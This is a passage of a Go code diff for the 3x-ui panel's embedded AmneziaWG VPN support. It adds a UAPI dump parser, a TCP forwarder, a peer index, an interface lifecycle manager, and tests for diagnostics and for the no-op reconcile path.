+			cd.AllowedIPs = strings.Join(p.AllowedIPs, ", ")
+		}
+		diag.Clients = append(diag.Clients, cd)
+	}
+	return diag
+}
+
+type peerUAPIState struct {
+	lastHandshakeSec int64
+	rxBytes, txBytes uint64
+	endpoint         string
+	allowedIPs       []string
+}
+
+// parseUAPIDump reads a Device.IpcGet() text dump: device-level keys first
+// (only listen_port matters here), then one block per peer starting with
+// its own public_key= line. Keyed by lowercase-hex public key, matching
+// the hex form IpcGet itself emits (see wireguard.KeyToHex for the same
+// base64-to-hex conversion applied to our own stored keys before lookup).
+func parseUAPIDump(dump string) (listenPort int, states map[string]peerUAPIState) {
+	states = make(map[string]peerUAPIState)
+	var current string
+
+	scanner := bufio.NewScanner(strings.NewReader(dump))
+	for scanner.Scan() {
+		key, value, ok := strings.Cut(scanner.Text(), "=")
+		if !ok {
+			continue
+		}
+		switch key {
+		case "listen_port":
+			listenPort, _ = strconv.Atoi(value)
+		case "public_key":
+			current = value
+			states[current] = peerUAPIState{}
+		case "last_handshake_time_sec":
+			st := states[current]
+			st.lastHandshakeSec, _ = strconv.ParseInt(value, 10, 64)
+			states[current] = st
+		case "rx_bytes":
+			st := states[current]
+			st.rxBytes, _ = strconv.ParseUint(value, 10, 64)
+			states[current] = st
+		case "tx_bytes":
+			st := states[current]
+			st.txBytes, _ = strconv.ParseUint(value, 10, 64)
+			states[current] = st
+		case "endpoint":
+			st := states[current]
+			st.endpoint = value
+			states[current] = st
+		case "allowed_ip":
+			st := states[current]
+			st.allowedIPs = append(st.allowedIPs, value)
+			states[current] = st
+		}
+	}
+	return listenPort, states
+}

+ 196 - 0
internal/amneziawgnet/diagnostics_test.go

@@ -0,0 +1,196 @@
+package amneziawgnet
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net/netip"
+	"testing"
+	"time"
+
+	awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+func TestDiagnoseNoRunningInstance(t *testing.T) {
+	diag := Diagnose(99999, nil)
+	if diag.Running {
+		t.Error("Diagnose on an id with no managed Device should report Running=false")
+	}
+	if len(diag.Clients) != 0 {
+		t.Errorf("Clients = %v, want empty when nothing is running", diag.Clients)
+	}
+}
+
+// Real handshake + real TCP payload (mirrors
+// TestNewDeviceHandshakeForwarderAndIdentity's own setup), plus a second,
+// never-connected peer, so the test proves both states diagnoseDevice must
+// tell apart: a peer with a real handshake and traffic, and a configured
+// peer that simply hasn't shown up yet.
+func TestDiagnoseDeviceReportsListenPortAndPeerState(t *testing.T) {
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+	_, idlePub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate idle-peer keypair: %v", err)
+	}
+
+	const listenPort = 58713 // distinct from device_test.go's fixed port
+	const activeEmail = "[email protected]"
+	const idleEmail = "[email protected]"
+
+	inst := amneziawg.Instance{
+		Id:            2,
+		InterfaceName: "awgtest2",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.202.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{
+			{Email: activeEmail, PublicKey: clientPub, AllowedIPs: []string{"10.202.0.2/32"}},
+			{Email: idleEmail, PublicKey: idlePub, AllowedIPs: []string{"10.202.0.3/32"}},
+		},
+	}
+
+	dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("newUnconfiguredDevice: %v", err)
+	}
+	defer dev.Close()
+
+	// Attach before Configure -- see newUnconfiguredDevice's doc comment.
+	// Registering the forwarder doesn't require any peer to be configured
+	// yet, so this ordering is free; it's Configure's IpcSet that must
+	// never run before the forwarder is registered.
+	AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, _ netip.AddrPort) {
+		defer conn.Close()
+		io.Copy(io.Discard, conn)
+	})
+
+	if err := dev.Configure(inst, DeviceOptions{}); err != nil {
+		t.Fatalf("Configure: %v", err)
+	}
+
+	// diagnoseDevice must work before any client ever connects too: both
+	// peers configured, neither ever handshaked.
+	before := diagnoseDevice(dev, inst.Peers)
+	if !before.Running {
+		t.Fatal("Running = false for a Device that's actually up")
+	}
+	if before.ListenPort != listenPort {
+		t.Errorf("ListenPort = %d, want %d", before.ListenPort, listenPort)
+	}
+	if len(before.Clients) != 2 {
+		t.Fatalf("Clients count = %d, want 2 (before any handshake)", len(before.Clients))
+	}
+	for _, c := range before.Clients {
+		if c.Connected() {
+			t.Errorf("client %q reports Connected() before any real handshake", c.Email)
+		}
+	}
+
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.202.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	wantDest := netip.MustParseAddrPort("10.202.9.9:9999")
+	dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+	var lastErr error
+	for {
+		conn, dialErr := clientNet.DialContext(dialCtx, "tcp", wantDest.String())
+		if dialErr == nil {
+			io.WriteString(conn, "diagnostics-test-payload")
+			conn.Close()
+			break
+		}
+		lastErr = dialErr
+		select {
+		case <-dialCtx.Done():
+			t.Fatalf("client dial never succeeded: %v", lastErr)
+		case <-time.After(100 * time.Millisecond):
+		}
+	}
+
+	// The handshake and byte counters update asynchronously with the dial
+	// returning; poll rather than sleeping a fixed guess.
+	deadline := time.Now().Add(5 * time.Second)
+	var after Diagnostics
+	for {
+		after = diagnoseDevice(dev, inst.Peers)
+		activeConnected := false
+		for _, c := range after.Clients {
+			if c.Email == activeEmail && c.Connected() {
+				activeConnected = true
+			}
+		}
+		if activeConnected || time.Now().After(deadline) {
+			break
+		}
+		time.Sleep(50 * time.Millisecond)
+	}
+
+	var active, idle *ClientDiagnostic
+	for i := range after.Clients {
+		switch after.Clients[i].Email {
+		case activeEmail:
+			active = &after.Clients[i]
+		case idleEmail:
+			idle = &after.Clients[i]
+		}
+	}
+	if active == nil || idle == nil {
+		t.Fatalf("expected both configured peers in Clients, got %v", after.Clients)
+	}
+	if !active.Connected() {
+		t.Error("active peer: Connected() = false after a real handshake + payload")
+	}
+	if active.RxBytes == 0 {
+		t.Error("active peer: RxBytes = 0 after a real client->server payload")
+	}
+	if idle.Connected() {
+		t.Error("idle peer: Connected() = true, but it never dialed anything")
+	}
+	if idle.RxBytes != 0 || idle.TxBytes != 0 {
+		t.Errorf("idle peer: RxBytes=%d TxBytes=%d, want both 0", idle.RxBytes, idle.TxBytes)
+	}
+}

+ 43 - 0
internal/amneziawgnet/forwarder.go

@@ -0,0 +1,43 @@
+package amneziawgnet
+
+import (
+	"net/netip"
+
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+	"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
+	"gvisor.dev/gvisor/pkg/waiter"
+)
+
+// AttachTCPForwarder attaches a TCP forwarder to gstack in promiscuous +
+// spoofing mode, so it accepts connections addressed to any destination --
+// not just the stack's own configured local address -- and hands the
+// handler both the accepted connection and the tunnel client's real,
+// dynamically-arbitrary destination (recovered from the connection's own
+// TransportEndpointID, not from any preconfigured routing table). This is
+// the mechanism the whole embedded-AmneziaWG design depends on: what the
+// handler does with that destination (dial it directly, relay it into
+// Xray's SOCKS5 inbound, ...) is entirely up to the caller.
+//
+// Adapted from xtls/xray-core's proxy/wireguard/tun.go createForwarder (MIT).
+func AttachTCPForwarder(gstack *stack.Stack, handler func(conn *gonet.TCPConn, dest netip.AddrPort)) {
+	enablePromiscuousRouting(gstack)
+
+	fwd := tcp.NewForwarder(gstack, 0, 65535, func(r *tcp.ForwarderRequest) {
+		go func(r *tcp.ForwarderRequest) {
+			var wq waiter.Queue
+			id := r.ID()
+
+			ep, err := r.CreateEndpoint(&wq)
+			if err != nil {
+				r.Complete(true)
+				return
+			}
+			dest := netip.AddrPortFrom(addrFromTcpip(id.LocalAddress), id.LocalPort)
+			handler(gonet.NewTCPConn(&wq, ep), dest)
+			ep.Close()
+			r.Complete(false)
+		}(r)
+	})
+	gstack.SetTransportProtocolHandler(tcp.ProtocolNumber, fwd.HandlePacket)
+}

+ 62 - 0
internal/amneziawgnet/identity.go

@@ -0,0 +1,62 @@
+package amneziawgnet
+
+import (
+	"net/netip"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+)
+
+// PeerIndex resolves a decapsulated connection's tunnel-internal source
+// address back to the peer it belongs to, the same role Xray-core's own
+// wireguard proxy's GetUserByAddr plays -- sourced here from an
+// amneziawg.Instance's own Peers (already carries Email per peer, no new
+// data needed) rather than a separate user table.
+type PeerIndex struct {
+	entries []peerIndexEntry
+}
+
+type peerIndexEntry struct {
+	prefix netip.Prefix
+	peer   amneziawg.Peer
+}
+
+// NewPeerIndex builds a lookup index from peers' AllowedIPs. Entries with an
+// unparseable AllowedIPs value are skipped rather than failing the whole
+// index -- by the time an Instance reaches this package, AllowedIPs has
+// already been accepted at save time (see internal/amneziawg's own
+// validation), so a bad entry here would only mean stale/manually-edited
+// data, not something worth refusing to serve the rest of the peers over.
+func NewPeerIndex(peers []amneziawg.Peer) *PeerIndex {
+	idx := &PeerIndex{}
+	for _, p := range peers {
+		for _, a := range p.AllowedIPs {
+			prefix, err := netip.ParsePrefix(a)
+			if err != nil {
+				continue
+			}
+			idx.entries = append(idx.entries, peerIndexEntry{prefix: prefix, peer: p})
+		}
+	}
+	return idx
+}
+
+// Lookup returns the peer whose AllowedIPs most specifically contains addr --
+// the same longest-prefix-match rule a real AmneziaWG interface's own
+// AllowedIPs routing table uses for outbound packets, applied here in
+// reverse to attribute an inbound (tunnel-internal-source) packet back to
+// its owning peer.
+func (idx *PeerIndex) Lookup(addr netip.Addr) (amneziawg.Peer, bool) {
+	bestBits := -1
+	var bestPeer amneziawg.Peer
+	for _, e := range idx.entries {
+		if e.prefix.Bits() <= bestBits || !e.prefix.Contains(addr) {
+			continue
+		}
+		bestBits = e.prefix.Bits()
+		bestPeer = e.peer
+	}
+	if bestBits < 0 {
+		return amneziawg.Peer{}, false
+	}
+	return bestPeer, true
+}

+ 343 - 0
internal/amneziawgnet/manager.go

@@ -0,0 +1,343 @@
+package amneziawgnet
+
+import (
+	"fmt"
+	"net/netip"
+	"os"
+	"strings"
+	"sync"
+
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// verboseLoggerIfEnabled returns a real amneziawg-go verbose logger (real
+// handshake/keepalive/decrypt-error diagnostics -- the device is otherwise
+// completely silent by design, see DeviceOptions' own doc comment) when the
+// AMNEZIAWGNET_DEBUG environment variable is set to any non-empty value,
+// nil otherwise (NewDevice's own default -- LogLevelSilent -- applies).
+// Deliberately opt-in and env-var-gated rather than a permanent log-level
+// setting: this device's own protocol-level logging has no per-peer
+// filtering, so enabling it on a busy real inbound would be noisy; it's
+// meant for exactly this kind of "why did this one handshake go quiet"
+// investigation on a low-traffic box.
+func verboseLoggerIfEnabled(inboundID int) *device.Logger {
+	if os.Getenv("AMNEZIAWGNET_DEBUG") == "" {
+		return nil
+	}
+	return device.NewLogger(device.LogLevelVerbose, fmt.Sprintf("(awg#%d) ", inboundID))
+}
+
+// Desired pairs an amneziawg.Instance (the shared, DB-backed shape) with
+// this package's embedded-only DeviceOptions -- see DeviceOptions' doc.
+type Desired struct {
+	Instance amneziawg.Instance
+	Options  DeviceOptions
+}
+
+// managed is one running embedded interface: the live Device, its UDP relay
+// sessions, its open per-client port-forward listeners, the peer lookup
+// index built from its current peer list, and enough of its own
+// configuration to decide whether a later Ensure call can reconfigure it in
+// place or needs to rebuild it from scratch.
+type managed struct {
+	dev          *Device
+	udpRelay     *UDPRelay
+	portForwards *PortForwardSet
+	peers        *PeerIndex
+	inst         amneziawg.Instance
+	structFP     string
+	uapiConfig   string
+}
+
+// Manager owns the set of running embedded AmneziaWG interfaces, keyed by
+// inbound id -- the same shape as internal/mtproto.Manager (GetManager()
+// + sync.Once, mu-guarded map, Ensure/Reconcile/StopAll/HasRunning), so a
+// caller already familiar with that Manager needs to learn nothing new here.
+// Every Device this Manager builds gets its TCP forwarder and UDP handler
+// attached automatically (see ensureLocked), relaying into that instance's
+// own loopback SOCKS5 inbound (SOCKSPortForInbound/SocksPassword) -- a
+// caller only needs to keep calling Ensure/Reconcile with fresh Instance
+// data; it doesn't need to know relay.go exists at all.
+type Manager struct {
+	mu     sync.Mutex
+	ifaces map[int]*managed
+}
+
+var (
+	managerOnce sync.Once
+	manager     *Manager
+)
+
+// GetManager returns the process-wide embedded-AmneziaWG manager singleton.
+func GetManager() *Manager {
+	managerOnce.Do(func() {
+		manager = &Manager{ifaces: map[int]*managed{}}
+	})
+	return manager
+}
+
+// Ensure brings inbound d.Instance.Id's embedded interface to the state
+// d describes, creating it if it doesn't exist yet. A no-op only when
+// nothing has changed since the last successful Ensure/Reconcile.
+func (m *Manager) Ensure(d Desired) error {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	return m.ensureLocked(d)
+}
+
+// ensureLocked decides between three actions: nothing changed since the
+// last apply (skip entirely -- this is the common case on every 10s
+// reconcile tick when no admin edit happened, and it MUST actually skip the
+// IpcSet call, not just look like it should: amneziawg-go's IpcSet always
+// includes replace_peers=true -- see buildUAPIConfig -- and its own
+// implementation of that op is device.RemoveAllPeers(), unconditionally,
+// even when the new peer list is byte-identical to the old one. A real
+// production bug, found via a live test connection that reset every ~10s:
+// calling IpcSet on every tick regardless of whether anything changed was
+// tearing down every peer's live handshake/session state on every single
+// reconcile, so no connection could ever survive past one tick); only
+// peers/obfuscation/keys/listen_port changed (reconfigure the existing
+// Device in place via IpcSet); or the interface's own address(es)/MTU
+// changed (these are fixed at netstack-construction time, so the only
+// option is closing the old Device and building a fresh one).
+func (m *Manager) ensureLocked(d Desired) error {
+	inst, opts := d.Instance, d.Options
+	if opts.Logger == nil {
+		opts.Logger = verboseLoggerIfEnabled(inst.Id)
+	}
+	structFP := addressFingerprint(inst)
+
+	cur, exists := m.ifaces[inst.Id]
+	// Captured before either branch below: peers/AllowedIPs can change
+	// (and so can each peer's IPv6 alias) without the address/MTU
+	// fingerprint changing at all, so both the reconfigure-in-place branch
+	// and the rebuild branch need to diff IPv6 aliases against whatever
+	// this id had before, not just on a rebuild.
+	var oldInst amneziawg.Instance
+	if exists {
+		oldInst = cur.inst
+	}
+
+	if exists && cur.structFP == structFP {
+		conf, err := buildUAPIConfig(inst, opts)
+		if err != nil {
+			return fmt.Errorf("amneziawgnet: %w", err)
+		}
+		// True no-op: the rendered UAPI config -- which already covers every
+		// field IpcSet can act on (keys, listen port, obfuscation, AWG 3.0
+		// options, the full peer list) -- is byte-identical to what's
+		// already live. Comparing the rendered string instead of inst
+		// directly means this can never drift out of sync with whatever
+		// buildUAPIConfig actually reads, the way a hand-maintained field
+		// list could.
+		if conf == cur.uapiConfig {
+			cur.peers = NewPeerIndex(inst.Peers)
+			cur.inst = inst
+			applyV6Aliases(diffV6Aliases(oldInst, inst))
+			// buildUAPIConfig never reads ForwardedPorts (it's a panel-level
+			// concept, not a WireGuard UAPI field), so a ForwardedPorts-only
+			// edit renders byte-identical here and takes this exact no-op
+			// branch -- without this call, that edit would silently never
+			// open/close a listener until some unrelated change also
+			// happened to touch this inbound. See
+			// TestForwardedPortsOnlyChangeStillReconcilesPortForwards.
+			cur.portForwards.Reconcile(inst)
+			return nil
+		}
+		if err := cur.dev.IpcSet(conf); err != nil {
+			return fmt.Errorf("amneziawgnet: reconfigure inbound %d: %w", inst.Id, err)
+		}
+		cur.peers = NewPeerIndex(inst.Peers)
+		cur.inst = inst
+		cur.uapiConfig = conf
+		applyV6Aliases(diffV6Aliases(oldInst, inst))
+		cur.portForwards.Reconcile(inst)
+		return nil
+	}
+
+	if exists {
+		cur.udpRelay.Close()
+		cur.portForwards.Close()
+		cur.dev.Close()
+		delete(m.ifaces, inst.Id)
+	}
+	dev, err := newUnconfiguredDevice(inst, opts)
+	if err != nil {
+		return err
+	}
+
+	relay := socksRelayForInstance(inst)
+	udpRelay := NewUDPRelay(relay, dev.Stack)
+	portForwards := NewPortForwardSet(dev.Stack, inst.Id)
+	inboundID := inst.Id // captured for the closures below, which outlive this call
+	AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+		srcAddrPort, err := netip.ParseAddrPort(conn.RemoteAddr().String())
+		if err != nil {
+			conn.Close()
+			return
+		}
+		// Re-fetched on every connection, not captured once at attach time:
+		// a reconfigure-in-place (peers added/removed, no rebuild) replaces
+		// cur.peers without ever re-attaching the forwarder, so a stale
+		// captured index would silently miss newly-added peers.
+		_, peers, ok := m.Lookup(inboundID)
+		if !ok {
+			conn.Close()
+			return
+		}
+		peer, ok := peers.Lookup(srcAddrPort.Addr().Unmap())
+		if !ok {
+			conn.Close()
+			return
+		}
+		relay.RelayTCP(conn, peer.Email, dest)
+	})
+	AttachUDPHandler(dev.Stack, func(src, dst netip.AddrPort, payload []byte) {
+		_, peers, ok := m.Lookup(inboundID)
+		if !ok {
+			return
+		}
+		peer, ok := peers.Lookup(src.Addr())
+		if !ok {
+			return
+		}
+		udpRelay.Handle(src, dst, peer.Email, payload)
+	})
+
+	// Handlers are registered on dev.Stack above, BEFORE Configure's IpcSet
+	// can start any peer's receive goroutine -- see newUnconfiguredDevice's
+	// doc comment for why this order (not convenience) is what makes this
+	// race-free.
+	if err := dev.Configure(inst, opts); err != nil {
+		udpRelay.Close()
+		portForwards.Close()
+		return err
+	}
+	// dev.Configure already rendered and applied this exact config
+	// internally; recomputing it here (cheap, pure, guaranteed to succeed
+	// since Configure just proved these inputs are valid) is simpler than
+	// threading the string back out of Configure's own signature, and gives
+	// the no-op check above a correct baseline to compare the next tick
+	// against instead of an empty string.
+	conf, _ := buildUAPIConfig(inst, opts)
+
+	m.ifaces[inst.Id] = &managed{
+		dev:          dev,
+		udpRelay:     udpRelay,
+		portForwards: portForwards,
+		peers:        NewPeerIndex(inst.Peers),
+		inst:         inst,
+		structFP:     structFP,
+		uapiConfig:   conf,
+	}
+	applyV6Aliases(diffV6Aliases(oldInst, inst))
+	portForwards.Reconcile(inst)
+	logger.Infof("amneziawgnet: started embedded interface %s for inbound %d", inst.InterfaceName, inst.Id)
+	return nil
+}
+
+// socksRelayForInstance derives the loopback SOCKS5 relay address/password
+// for inst -- both fully determined by its id and the process-wide
+// password (SOCKSPortForInbound/SocksPassword), so no per-instance state
+// needs threading through Desired/DeviceOptions for this.
+func socksRelayForInstance(inst amneziawg.Instance) SocksRelay {
+	return SocksRelay{
+		Addr:     fmt.Sprintf("127.0.0.1:%d", SOCKSPortForInbound(inst.Id)),
+		Password: SocksPassword(),
+	}
+}
+
+// addressFingerprint captures the two Instance fields that can't be changed
+// on a running Device via IpcSet alone (they're fixed when the gVisor
+// netstack is built) -- everything else (keys, listen port, obfuscation,
+// AWG 3.0 options, peers) amneziawg-go's own UAPI can hot-reconfigure.
+func addressFingerprint(inst amneziawg.Instance) string {
+	return fmt.Sprintf("%d|%s", inst.MTU, strings.Join(inst.Address, ","))
+}
+
+// Reconcile brings every desired instance's embedded interface up to date
+// and stops any managed interface whose inbound is no longer desired --
+// mirroring internal/mtproto.Manager.Reconcile's per-tick contract.
+func (m *Manager) Reconcile(desired []Desired) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+
+	want := make(map[int]struct{}, len(desired))
+	for _, d := range desired {
+		want[d.Instance.Id] = struct{}{}
+	}
+	for id, cur := range m.ifaces {
+		if _, ok := want[id]; ok {
+			continue
+		}
+		applyV6Aliases(diffV6Aliases(cur.inst, amneziawg.Instance{}))
+		cur.udpRelay.Close()
+		cur.portForwards.Close()
+		cur.dev.Close()
+		delete(m.ifaces, id)
+		logger.Infof("amneziawgnet: stopped embedded interface for removed inbound %d", id)
+	}
+	for _, d := range desired {
+		if err := m.ensureLocked(d); err != nil {
+			logger.Warningf("amneziawgnet: reconcile failed for inbound %d: %v", d.Instance.Id, err)
+		}
+	}
+}
+
+// Remove tears down inbound id's embedded interface, if any -- mirrors
+// internal/mtproto.Manager.Remove, for a caller that needs to drop a
+// single inbound outside a full Reconcile pass (e.g. the immediate-apply
+// CRUD path in internal/web/runtime/local.go).
+func (m *Manager) Remove(id int) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	cur, exists := m.ifaces[id]
+	if !exists {
+		return
+	}
+	applyV6Aliases(diffV6Aliases(cur.inst, amneziawg.Instance{}))
+	cur.udpRelay.Close()
+	cur.portForwards.Close()
+	cur.dev.Close()
+	delete(m.ifaces, id)
+	logger.Infof("amneziawgnet: stopped embedded interface for removed inbound %d", id)
+}
+
+// StopAll tears down every managed interface. Called on panel shutdown.
+func (m *Manager) StopAll() {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	for id, cur := range m.ifaces {
+		applyV6Aliases(diffV6Aliases(cur.inst, amneziawg.Instance{}))
+		cur.udpRelay.Close()
+		cur.portForwards.Close()
+		cur.dev.Close()
+		delete(m.ifaces, id)
+	}
+}
+
+// HasRunning reports whether any embedded interface is currently managed.
+func (m *Manager) HasRunning() bool {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	return len(m.ifaces) > 0
+}
+
+// Lookup returns the running Device and PeerIndex for inbound id, if any --
+// the forwarder/UDP-handler closures ensureLocked attaches use this to
+// re-fetch the current peer index on every connection (see ensureLocked's
+// comment on why), and it's equally available to a test harness or any
+// other caller that wants read access to a managed interface's state.
+func (m *Manager) Lookup(id int) (dev *Device, peers *PeerIndex, ok bool) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	cur, exists := m.ifaces[id]
+	if !exists {
+		return nil, nil, false
+	}
+	return cur.dev, cur.peers, true
+}

+ 343 - 0
internal/amneziawgnet/manager_test.go

@@ -0,0 +1,343 @@
+package amneziawgnet
+
+import (
+	"fmt"
+	"net"
+	"testing"
+	"time"
+
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// TestManagerLifecycle exercises Ensure/Reconcile's reconfigure-in-place vs.
+// rebuild split (see ensureLocked's doc comment) and Reconcile's stop path,
+// using a throwaway Manager rather than the process-wide singleton so this
+// test doesn't interact with any other test's state.
+func TestManagerLifecycle(t *testing.T) {
+	priv, pub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate keypair: %v", err)
+	}
+
+	m := &Manager{ifaces: map[int]*managed{}}
+	inst := amneziawg.Instance{
+		Id:            3,
+		InterfaceName: "awgtest3",
+		ListenPort:    58714,
+		PrivateKey:    priv,
+		PublicKey:     pub,
+		Address:       []string{"10.203.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+	}
+	defer m.StopAll()
+
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Ensure (create): %v", err)
+	}
+	if !m.HasRunning() {
+		t.Fatal("HasRunning() = false after Ensure created an interface")
+	}
+	dev1, _, ok := m.Lookup(inst.Id)
+	if !ok {
+		t.Fatal("Lookup after Ensure: not found")
+	}
+
+	// Same Instance again: same address fingerprint, so this should
+	// reconfigure the existing Device via IpcSet rather than rebuild it --
+	// verify by checking the *Device pointer survived unchanged.
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Ensure (unchanged): %v", err)
+	}
+	dev2, _, ok := m.Lookup(inst.Id)
+	if !ok {
+		t.Fatal("Lookup after second Ensure: not found")
+	}
+	if dev1 != dev2 {
+		t.Error("Ensure with an unchanged Instance rebuilt the Device; expected an in-place reconfigure")
+	}
+
+	// Changing the interface address is structural (fixed at netstack
+	// construction time) and must force a rebuild -- verify by checking the
+	// *Device pointer changed.
+	changed := inst
+	changed.Address = []string{"10.203.1.1/24"}
+	if err := m.Ensure(Desired{Instance: changed}); err != nil {
+		t.Fatalf("Ensure (address changed): %v", err)
+	}
+	dev3, _, ok := m.Lookup(inst.Id)
+	if !ok {
+		t.Fatal("Lookup after address-changing Ensure: not found")
+	}
+	if dev3 == dev2 {
+		t.Error("Ensure with a changed address reconfigured in place; expected a rebuild")
+	}
+
+	// Reconcile with nothing desired stops every managed interface.
+	m.Reconcile(nil)
+	if m.HasRunning() {
+		t.Error("HasRunning() = true after Reconcile([]) should have stopped everything")
+	}
+	if _, _, ok := m.Lookup(inst.Id); ok {
+		t.Error("Lookup succeeded after Reconcile([]) removed the interface")
+	}
+}
+
+// TestEnsureUnchangedInstanceDoesNotResetLivePeers is a regression test for a
+// real production bug: an unchanged Ensure call (the common case on every
+// 10s AmneziaWGJob reconcile tick when no admin edit happened) was calling
+// IpcSet unconditionally. amneziawg-go's IpcSet always includes
+// replace_peers=true (see buildUAPIConfig), and its own implementation of
+// that op is device.RemoveAllPeers() -- unconditionally, even when the new
+// peer list is byte-identical to the old one. That tore down every peer's
+// live handshake/session state on every single reconcile tick, so no real
+// connection could ever survive past ~10 seconds. Caught via a live test
+// connection that reset every ~10s with amneziawg-go's own verbose logging
+// enabled (AMNEZIAWGNET_DEBUG) showing "UAPI: Removing all peers" +
+// peer "Stopping"/"Starting" on every tick.
+//
+// Verified here by comparing the *device.Peer pointer LookupPeer returns
+// before and after a no-op Ensure: identical pointer proves the peer object
+// itself survived (no RemoveAllPeers), not just that some higher-level
+// abstraction looks unchanged.
+func TestEnsureUnchangedInstanceDoesNotResetLivePeers(t *testing.T) {
+	priv, pub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	_, peerPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate peer keypair: %v", err)
+	}
+
+	m := &Manager{ifaces: map[int]*managed{}}
+	inst := amneziawg.Instance{
+		Id:            4,
+		InterfaceName: "awgtest4",
+		ListenPort:    58715,
+		PrivateKey:    priv,
+		PublicKey:     pub,
+		Address:       []string{"10.204.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{
+			{Email: "peer@test", PublicKey: peerPub, AllowedIPs: []string{"10.204.0.2/32"}},
+		},
+	}
+	defer m.StopAll()
+
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Ensure (create): %v", err)
+	}
+
+	peerPubHex, err := wireguard.KeyToHex(peerPub)
+	if err != nil {
+		t.Fatalf("KeyToHex: %v", err)
+	}
+	var npk device.NoisePublicKey
+	if err := npk.FromHex(peerPubHex); err != nil {
+		t.Fatalf("NoisePublicKey.FromHex: %v", err)
+	}
+
+	dev, _, ok := m.Lookup(inst.Id)
+	if !ok {
+		t.Fatal("Lookup after Ensure: not found")
+	}
+	peerBefore := dev.LookupPeer(npk)
+	if peerBefore == nil {
+		t.Fatal("LookupPeer returned nil right after Ensure created the peer")
+	}
+
+	// Simulate the reconcile job firing again with byte-identical data --
+	// this is what AmneziaWGJob does every 10 seconds regardless of whether
+	// anything actually changed.
+	if err := m.Ensure(Desired{Instance: inst}); err != nil {
+		t.Fatalf("Ensure (unchanged, second tick): %v", err)
+	}
+	peerAfter := dev.LookupPeer(npk)
+	if peerAfter == nil {
+		t.Fatal("LookupPeer returned nil after the unchanged Ensure -- peer was removed and never re-added")
+	}
+	if peerBefore != peerAfter {
+		t.Error("unchanged Ensure recreated the peer object (RemoveAllPeers + re-add) -- " +
+			"any live handshake/session on this peer would have been reset for no reason")
+	}
+}
+
+// TestForwardedPortsOnlyChangeStillReconcilesPortForwards is a regression
